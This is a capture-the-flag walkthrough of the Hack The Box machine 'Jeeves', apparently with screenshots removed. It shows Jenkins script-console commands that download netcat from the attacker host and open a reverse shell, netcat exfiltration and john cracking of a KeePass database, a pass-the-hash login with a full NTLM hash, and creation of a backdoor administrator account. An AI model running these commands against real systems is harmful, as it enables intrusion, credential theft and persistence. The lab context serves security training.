Jeeves is a medium windows box that was released back in November 2017.
Jeeves is a medium windows box that was released back in November 2017.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

our nmap scan picked up port 80 and 50000 running the http service so let's examine it with gobuster :

Gobuster didn't find many interesting apart from /askjeeves on port 50000 so let's check it out :
Looking into script console we are able to get command execution :
so let's try to upload a windows binary onto the machine using command execution and python's SimpleHTTPServer module :
λ ech0 [ 10.10.14.11/23 ] [~]
→ cd /usr/share/windows-binaries
λ ech0 [ 10.10.14.11/23 ] [/usr/share/windows-binaries]
→ ls
enumplus fgdump klogger.exe nbtenum plink.exe vncviewer.exe whoami.exe
exe2bat.exe fport mbenum nc.exe radmin.exe wget.exe
λ ech0 [ 10.10.14.11/23 ] [/usr/share/windows-binaries]
→ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
On jenkins's script console run the following :
def process = "powershell -command Invoke-WebRequest 'http://10.10.14.11:8080/nc.exe' -OutFile nc.exe".execute();
println("${process.text}");
Once the netcat binary is on the box, we use it to get ourselves a reverse shell :
λ ech0 [ 10.10.14.11/23 ] [~]
→ nc -lvnp 9001
def process = "powershell -command ./nc.exe 10.10.14.11 9001 -e cmd.exe".execute();
println("${process.text}");
And we get a reverse shell ! now let's see what we can do from here :
λ ech0 [ 10.10.14.11/23 ] [~]
→ nc -lvnp 9001
listening on [any] 9001 ...

Once inside the documents folder, we see a kdbx password database, so let's send it over to our local machine:
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ nc -lvnp 9002 > CEH.kdbx
listening on [any] 9002 ...
C:\Users\kohsuke\Documents>C:\Users\Administrator\.jenkins\nc.exe 10.10.14.11 9002 < CEH.kdbx
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ nc -lvnp 9002 > CEH.kdbx
listening on [any] 9002 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.63] 49689
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ file CEH.kdbx
CEH.kdbx: Keepass password database 2.x KDBX
Now obviously we need to find the master password , to do so we can use keepass2john and rockyou.txt
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ keepass2john CEH.kdbx
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ keepass2john CEH.kdbx > hash.txt
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
And we get the password moonshine1 , so let's use keepass to open it and see what the keepass database contains :
so we'll use pth-winexe to get a shell connection to the machine using the hashed password we found :
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ nano backup.pass
λ ech0 [ 10.10.14.11/23 ] [~/_HTB/Jeeves]
→ pth-winexe --user=jeeves/administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 --system //10.10.10.63 cmd.exe

Looking at systeminfo we see that we have a hotfixes are installed, so let's try and see if we can somehow vnc into the box, but first we need to first set up the vnc connection.

Ok.

Ok.
Here we created the user ech0, added him to the administrator localgroup, started the rdp service, allowed RDP connections for the firewall, from there we just need to use rdesktop to connect to the account we created.
λ ech0 [ 10.10.14.11/23 ] [~]
→ rdesktop 10.10.10.63
Once we're connected, we head over to kohsuke's desktop to copy the user flag on our desktop, to be able to print it :
However, we can do the same thing to the user account ! Going in the administrator desktop and copying the only textfile on our desktop allows us to be able to read it, and we see that it's not our root flag YET, so we'll follow the advice the textfile gave us :
And that's it ! we have been able to print out the root flag.
Here we can see the progress graph :
